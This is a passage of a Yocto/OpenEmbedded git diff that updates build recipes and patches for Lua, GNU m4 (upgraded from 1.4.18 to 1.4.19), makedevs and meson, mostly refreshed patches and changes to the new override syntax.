+do_configure:prepend() {
+ sed -i -e s:/usr/local:${prefix}:g src/luaconf.h
+ sed -i -e s:lib/lua/:${baselib}/lua/:g src/luaconf.h
+}
+
+do_compile () {
+ oe_runmake ${@bb.utils.contains('PACKAGECONFIG', 'readline', 'linux-readline', 'linux', d)}
+}
+
+do_install () {
+ oe_runmake \
+ 'INSTALL_TOP=${D}${prefix}' \
+ 'INSTALL_BIN=${D}${bindir}' \
+ 'INSTALL_INC=${D}${includedir}/' \
+ 'INSTALL_MAN=${D}${mandir}/man1' \
+ 'INSTALL_SHARE=${D}${datadir}/lua' \
+ 'INSTALL_LIB=${D}${libdir}' \
+ 'INSTALL_CMOD=${D}${libdir}/lua/5.4' \
+ install
+ install -d ${D}${libdir}/pkgconfig
+
+ sed -e s/@VERSION@/${PV}/ ${WORKDIR}/lua.pc.in > ${WORKDIR}/lua.pc
+ install -m 0644 ${WORKDIR}/lua.pc ${D}${libdir}/pkgconfig/
+ rmdir ${D}${datadir}/lua/5.4
+ rmdir ${D}${datadir}/lua
+}
+
+do_install_ptest () {
+ cp -R --no-dereference --preserve=mode,links -v ${WORKDIR}/lua-${PV_testsuites}-tests ${D}${PTEST_PATH}/test
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/m4/m4-1.4.18.inc b/meta/recipes-devtools/m4/m4-1.4.18.inc
deleted file mode 100644
index a9b63c1bf6..0000000000
--- a/meta/recipes-devtools/m4/m4-1.4.18.inc
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Traditional Unix macro processor"
-HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
-DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
-compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
-GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
-
-inherit autotools texinfo ptest
-
-SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
- file://ac_config_links.patch \
- file://m4-1.4.18-glibc-change-work-around.patch \
- "
-SRC_URI_append_class-target = " file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://run-ptest \
- file://serial-tests-config.patch \
- file://0001-test-getopt-posix-fix.patch \
- "
-
-SRC_URI[md5sum] = "a077779db287adf4e12a035029002d28"
-SRC_URI[sha256sum] = "ab2633921a5cd38e48797bf5521ad259bdc4b979078034a3b790d7fec5493fab"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-EXTRA_OECONF += "--without-libsigsegv-prefix"
-
-EXTRA_OEMAKE += "'infodir=${infodir}'"
-
-do_compile_ptest() {
- cd ${B}/tests
- sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- cp -r ${B}/tests ${D}${PTEST_PATH}
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
- -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
- sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
- chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
- ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
- ${D}${PTEST_PATH}/tests/test-xalloc-die
-}
-
-
-RDEPENDS_${PN}-ptest += "make coreutils diffutils"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- locale-base-fr-fr.iso-8859-1 \
-"
-
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
-
diff --git a/meta/recipes-devtools/m4/m4-1.4.19.inc b/meta/recipes-devtools/m4/m4-1.4.19.inc
new file mode 100644
index 0000000000..0516e49552
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4-1.4.19.inc
@@ -0,0 +1,61 @@
+SUMMARY = "Traditional Unix macro processor"
+HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
+DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
+compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
+GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
+
+inherit autotools texinfo ptest gettext
+
+SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
+ file://ac_config_links.patch \
+ "
+SRC_URI:append:class-target = " file://run-ptest \
+ file://serial-tests-config.patch \
+ "
+
+SRC_URI[md5sum] = "f4a2b0284d80353b995f8ef2385ed73c"
+SRC_URI[sha256sum] = "3be4a26d825ffdfda52a56fc43246456989a3630093cced3fbddf4771ee58a70"
+
+LICENSE = "GPLv3"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464\
+ file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+EXTRA_OECONF += "--without-libsigsegv-prefix"
+
+EXTRA_OEMAKE += "'infodir=${infodir}'"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ cp -r ${B}/tests ${D}${PTEST_PATH}
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
+ -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
+ sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
+ chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
+ ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
+ ${D}${PTEST_PATH}/tests/test-xalloc-die
+
+ ln -s ptest ${D}${libdir}/${BPN}/${BP}
+}
+
+
+RDEPENDS:${PN}-ptest += "make coreutils diffutils"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-fr-fr.iso-8859-1 \
+"
+
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
+
diff --git a/meta/recipes-devtools/m4/m4-native_1.4.18.bb b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
index 407ad89330..407ad89330 100644
--- a/meta/recipes-devtools/m4/m4-native_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
diff --git a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch b/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
deleted file mode 100644
index 11508ee0e2..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 75bea7c72a919859674f493548653de88f96c798 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 22 Apr 2019 10:36:13 +0800
-Subject: [PATCH] test-getopt-posix fix
-
-fix below problem:
-test-getopt.h:754: assertion 'strcmp (argv[1], "donald") == 0' failed
-
-get this patch from
-https://github.com/habitat-sh/core-plans/blob/master/m4/fix-test-getopt-posix-with-glibc-2.26.patch
-
-Upstream-Status: Pending
-
-have report this bug to m4-discuss@gnu.org
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- tests/test-getopt-posix.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/tests/test-getopt-posix.c b/tests/test-getopt-posix.c
-index 5532271..2a3d511 100644
---- a/tests/test-getopt-posix.c
-+++ b/tests/test-getopt-posix.c
-@@ -22,6 +22,13 @@
- ftell link warning if we are not using the gnulib ftell module. */
- #define _GL_NO_LARGE_FILES
-
-+/*
-+ * Glibc 2.26 does hard include bits/getopt_posix.h which causes the system
-+ * to use glibc's getopt but the tests expect gnulib behavior. Until a better
-+ * fix is available this avoids that mis-resolution.
-+ */
-+#include <getopt.h>
-+
- /* POSIX and glibc provide the getopt() function in <unistd.h>, see
- http://pubs.opengroup.org/onlinepubs/9699919799/functions/getopt.html
- https://www.gnu.org/software/libc/manual/html_node/Using-Getopt.html
---
-2.7.4
-
diff --git a/meta/recipes-devtools/m4/m4/ac_config_links.patch b/meta/recipes-devtools/m4/m4/ac_config_links.patch
index 71edf59512..39fcd91896 100644
--- a/meta/recipes-devtools/m4/m4/ac_config_links.patch
+++ b/meta/recipes-devtools/m4/m4/ac_config_links.patch
@@ -12,20 +12,26 @@ source, and what we want is to is to not touch it.
Tested on x86_64_linux (Ubuntu 8.04 and 9.10).
-2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+2009-11-10 Esben Haabendal <eha@doredevelopment.dk>
+---
+ configure | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
-Index: m4-1.4.18/configure
-===================================================================
---- m4-1.4.18.orig/configure
-+++ m4-1.4.18/configure
-@@ -24415,8 +24415,8 @@ $as_echo "#define GNULIB_TEST_GETTIMEOFD
+diff --git a/configure b/configure
+index 883336a..6343a34 100755
+--- a/configure
++++ b/configure
+@@ -37061,8 +37061,8 @@ printf "%s\n" "#define GNULIB_TEST_GETRANDOM 1" >>confdefs.h
# only, it does not matter if we skip the link with older autoconf.
# Automake 1.10.1 and earlier try to remove GNUmakefile in non-VPATH
# builds, so use a shell variable to bypass this.
- GNUmakefile=GNUmakefile
- ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
-+ # GNUmakefile=GNUmakefile
-+ # ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
++# GNUmakefile=GNUmakefile
++# ac_config_links="$ac_config_links $GNUmakefile:$GNUmakefile"
- :
+ LIB_HARD_LOCALE="$LIB_SETLOCALE_NULL"
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch b/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
deleted file mode 100644
index c10bcbf693..0000000000
--- a/meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch
+++ /dev/null
@@ -1,130 +0,0 @@
-update for glibc libio.h removal in 2.28+
-
-see
-https://src.fedoraproject.org/rpms/m4/c/814d592134fad36df757f9a61422d164ea2c6c9b?branch=master
-
-Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=4af4a4a718]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: m4-1.4.18/lib/fflush.c
-===================================================================
---- m4-1.4.18.orig/lib/fflush.c
-+++ m4-1.4.18/lib/fflush.c
-@@ -33,7 +33,7 @@
- #undef fflush
-
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- /* Clear the stream's ungetc buffer, preserving the value of ftello (fp). */
- static void
-@@ -72,7 +72,7 @@ clear_ungetc_buffer (FILE *fp)
-
- #endif
-
--#if ! (defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-+#if ! (defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-
- # if (defined __sferror || defined __DragonFly__ || defined __ANDROID__) && defined __SNPT
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-@@ -148,7 +148,7 @@ rpl_fflush (FILE *stream)
- if (stream == NULL || ! freading (stream))
- return fflush (stream);
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- clear_ungetc_buffer_preserving_position (stream);
-
-Index: m4-1.4.18/lib/fpending.c
-===================================================================
---- m4-1.4.18.orig/lib/fpending.c
-+++ m4-1.4.18/lib/fpending.c
-@@ -32,7 +32,7 @@ __fpending (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return fp->_IO_write_ptr - fp->_IO_write_base;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-Index: m4-1.4.18/lib/fpurge.c
-===================================================================
---- m4-1.4.18.orig/lib/fpurge.c
-+++ m4-1.4.18/lib/fpurge.c
-@@ -62,7 +62,7 @@ fpurge (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_IO_read_end = fp->_IO_read_ptr;
- fp->_IO_write_ptr = fp->_IO_write_base;
- /* Avoid memory leak when there is an active ungetc buffer. */
-Index: m4-1.4.18/lib/freadahead.c
-===================================================================
---- m4-1.4.18.orig/lib/freadahead.c
-+++ m4-1.4.18/lib/freadahead.c
-@@ -25,7 +25,7 @@
- size_t
- freadahead (FILE *fp)
- {
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_write_ptr > fp->_IO_write_base)
- return 0;
- return (fp->_IO_read_end - fp->_IO_read_ptr)
-Index: m4-1.4.18/lib/freading.c
-===================================================================
---- m4-1.4.18.orig/lib/freading.c
-+++ m4-1.4.18/lib/freading.c
-@@ -31,7 +31,7 @@ freading (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return ((fp->_flags & _IO_NO_WRITES) != 0
- || ((fp->_flags & (_IO_NO_READS | _IO_CURRENTLY_PUTTING)) == 0
- && fp->_IO_read_base != NULL));
-Index: m4-1.4.18/lib/fseeko.c
-===================================================================
---- m4-1.4.18.orig/lib/fseeko.c
-+++ m4-1.4.18/lib/fseeko.c
-@@ -47,7 +47,7 @@ fseeko (FILE *fp, off_t offset, int when
- #endif
-
- /* These tests are based on fpurge.c. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_read_end == fp->_IO_read_ptr
- && fp->_IO_write_ptr == fp->_IO_write_base
- && fp->_IO_save_base == NULL)
-@@ -123,7 +123,7 @@ fseeko (FILE *fp, off_t offset, int when
- return -1;
- }
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_flags &= ~_IO_EOF_SEEN;
- fp->_offset = pos;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
-Index: m4-1.4.18/lib/stdio-impl.h
-===================================================================
---- m4-1.4.18.orig/lib/stdio-impl.h
-+++ m4-1.4.18/lib/stdio-impl.h
-@@ -18,6 +18,12 @@
- the same implementation of stdio extension API, except that some fields
- have different naming conventions, or their access requires some casts. */
-
-+/* Glibc 2.28 made _IO_IN_BACKUP private. For now, work around this
-+ problem by defining it ourselves. FIXME: Do not rely on glibc
-+ internals. */
-+#if !defined _IO_IN_BACKUP && defined _IO_EOF_SEEN
-+# define _IO_IN_BACKUP 0x100
-+#endif
-
- /* BSD stdio derived implementations. */
-
diff --git a/meta/recipes-devtools/m4/m4_1.4.18.bb b/meta/recipes-devtools/m4/m4_1.4.19.bb
index b12c0adf3a..b12c0adf3a 100644
--- a/meta/recipes-devtools/m4/m4_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4_1.4.19.bb
diff --git a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
index 92d5870f42..79746260d0 100644
--- a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
+++ b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
@@ -1,4 +1,5 @@
SUMMARY = "Tool for creating device nodes"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
SECTION = "base"
@@ -7,7 +8,7 @@ SRC_URI = "file://makedevs.c \
S = "${WORKDIR}"
-FILES_${PN}_append_class-nativesdk = " ${datadir}"
+FILES:${PN}:append:class-nativesdk = " ${datadir}"
do_compile() {
${CC} ${CFLAGS} ${LDFLAGS} -o ${S}/makedevs ${S}/makedevs.c
@@ -18,7 +19,7 @@ do_install() {
install -m 0755 ${S}/makedevs ${D}${base_sbindir}/makedevs
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
install -d ${D}${datadir}
install -m 644 ${COREBASE}/meta/files/device_table-minimal.txt ${D}${datadir}/
}
diff --git a/meta/recipes-devtools/meson/meson.inc b/meta/recipes-devtools/meson/meson.inc
index 004189e36e..7fbb246b87 100644
--- a/meta/recipes-devtools/meson/meson.inc
+++ b/meta/recipes-devtools/meson/meson.inc
@@ -9,25 +9,29 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=3b83ef96387f14655fc854ddc3c6bd57"
SRC_URI = "https://github.com/mesonbuild/meson/releases/download/${PV}/meson-${PV}.tar.gz \
file://0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch \
- file://0003-native_bindir.patch \
file://0001-python-module-do-not-manipulate-the-environment-when.patch \
file://disable-rpath-handling.patch \
- file://cross-prop-default.patch \
- file://0001-modules-python.py-do-not-substitute-python-s-install.patch \
- file://0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch \
+ file://0001-Make-CPU-family-warnings-fatal.patch \
+ file://0002-Support-building-allarch-recipes-again.patch \
+ file://0001-is_debianlike-always-return-False.patch \
"
-SRC_URI[sha256sum] = "3b5741f884e04928bdfa1947467ff06afa6c98e623c25cef75adf71ca39ce080"
-
-SRC_URI_append_class-native = " \
- file://0001-Make-CPU-family-warnings-fatal.patch \
- file://0002-Support-building-allarch-recipes-again.patch \
-"
+SRC_URI[sha256sum] = "64e6968565bf1b8152f4f9d6ca8154efb9e14caa9aabf7b22e71e6c5d053e921"
UPSTREAM_CHECK_URI = "https://github.com/mesonbuild/meson/releases"
UPSTREAM_CHECK_REGEX = "meson-(?P<pver>\d+(\.\d+)+)\.tar"
inherit setuptools3
-RDEPENDS_${PN} = "ninja python3-modules python3-pkg-resources"
+RDEPENDS:${PN} = "ninja python3-modules python3-pkg-resources"
+
+FILES:${PN} += "${datadir}/polkit-1"
-FILES_${PN} += "${datadir}/polkit-1"
+do_install:append () {
+ # As per the same issue in the python recipe itself:
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm ${D}${libdir}/python*/site-packages/mesonbuild/dependencies/__pycache__/mpi.cpython*
+}
diff --git a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
index fbc03b8ca0..c5be526b10 100644
--- a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
+++ b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
@@ -1,4 +1,4 @@
-From 9311844b6c422479556e83b89a8e675ebcb2056c Mon Sep 17 00:00:00 2001
+From 6c4eef1d92e9e42fdbc888365cab3c95fb33c605 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Tue, 3 Jul 2018 13:59:09 +0100
Subject: [PATCH] Make CPU family warnings fatal
@@ -12,29 +12,29 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
2 files changed, 2 insertions(+), 4 deletions(-)
diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index 219b62e..d1be65b 100644
+index 307aac3..66fb7ec 100644
--- a/mesonbuild/envconfig.py
+++ b/mesonbuild/envconfig.py
-@@ -199,7 +199,7 @@ class MachineInfo:
+@@ -267,7 +267,7 @@ class MachineInfo(HoldableObject):
cpu_family = literal['cpu_family']
if cpu_family not in known_cpu_families:
-- mlog.warning('Unknown CPU family {}, please report this at https://github.com/mesonbuild/meson/issues/new'.format(cpu_family))
+- mlog.warning(f'Unknown CPU family {cpu_family}, please report this at https://github.com/mesonbuild/meson/issues/new')
+ raise EnvironmentException('Unknown CPU family {}, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.'.format(cpu_family))
endian = literal['endian']
if endian not in ('little', 'big'):
diff --git a/mesonbuild/environment.py b/mesonbuild/environment.py
-index bf09a88..8eabe78 100644
+index 71286a5..179917e 100644
--- a/mesonbuild/environment.py
+++ b/mesonbuild/environment.py
-@@ -375,9 +375,7 @@ def detect_cpu_family(compilers: CompilersDict) -> str:
- trial = 'parisc'
+@@ -352,9 +352,7 @@ def detect_cpu_family(compilers: CompilersDict) -> str:
+ trial = 'ppc64'
if trial not in known_cpu_families:
-- mlog.warning('Unknown CPU family {!r}, please report this at '
+- mlog.warning(f'Unknown CPU family {trial!r}, please report this at '
- 'https://github.com/mesonbuild/meson/issues/new with the '
-- 'output of `uname -a` and `cat /proc/cpuinfo`'.format(trial))
+- 'output of `uname -a` and `cat /proc/cpuinfo`')
+ raise EnvironmentException('Unknown CPU family %s, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.' % trial)
return trial
diff --git a/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch b/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch
deleted file mode 100644
index a1f8422d44..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 64aa6718c290e150dafd8da83f31cb08af00af0e Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 27 May 2020 16:43:05 +0000
-Subject: [PATCH] gnome.py: prefix g-i paths with PKG_CONFIG_SYSROOT_DIR
-
-When using sysroots for builds, the standard target paths for the
-tools need to be prefixed (pkg-config is not clever enough to
-determine when a custom variable is a path)
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/gnome.py | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index 52016f4..2b72ee4 100644
---- a/mesonbuild/modules/gnome.py
-+++ b/mesonbuild/modules/gnome.py
-@@ -410,14 +410,14 @@ class GnomeModule(ExtensionModule):
- if giscanner is not None:
- self.giscanner = ExternalProgram.from_entry('g-ir-scanner', giscanner)
- elif self.gir_dep.type_name == 'pkgconfig':
-- self.giscanner = ExternalProgram('g_ir_scanner', self.gir_dep.get_pkgconfig_variable('g_ir_scanner', {}))
-+ self.giscanner = ExternalProgram('g_ir_scanner', os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_scanner', {}))
- else:
- self.giscanner = self.interpreter.find_program_impl('g-ir-scanner')
- gicompiler = state.environment.lookup_binary_entry(MachineChoice.HOST, 'g-ir-compiler')
- if gicompiler is not None:
- self.gicompiler = ExternalProgram.from_entry('g-ir-compiler', gicompiler)
- elif self.gir_dep.type_name == 'pkgconfig':
-- self.gicompiler = ExternalProgram('g_ir_compiler', self.gir_dep.get_pkgconfig_variable('g_ir_compiler', {}))
-+ self.gicompiler = ExternalProgram('g_ir_compiler', os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_compiler', {}))
- else:
- self.gicompiler = self.interpreter.find_program_impl('g-ir-compiler')
- return self.gir_dep, self.giscanner, self.gicompiler
diff --git a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch b/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
index 471f1500da..b098c4a123 100644
--- a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
+++ b/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
@@ -1,35 +1,38 @@
-From d3ef01a4208a801acad380a4aaceb6a21f8fa603 Mon Sep 17 00:00:00 2001
+From bbdd6679e49bcba5ec022b240ac234a87b451e41 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 4 Aug 2017 16:16:41 +0300
-Subject: [PATCH] gtkdoc: fix issues that arise when cross-compiling
+Subject: [PATCH] gtkdoc: add support for a binary wrapper
-Specifically:
-1) Make it possible to specify a wrapper for executing binaries
+Make it possible to specify a wrapper for executing binaries
+in cross-compiling scenarios.
(usually, some kind of target hardware emulator, such as qemu)
-2) Explicitly provide CC and LD via command line, as otherwise gtk-doc will
-try to guess them, incorrectly.
-3) If things break down, print the full command with arguments,
-not just the binary name.
-4) Correctly determine the compiler/linker executables and cross-options when cross-compiling
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/mesonbuild/meson/pull/9627]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- mesonbuild/modules/gnome.py | 4 ++++
- 1 file changed, 4 insertions(+)
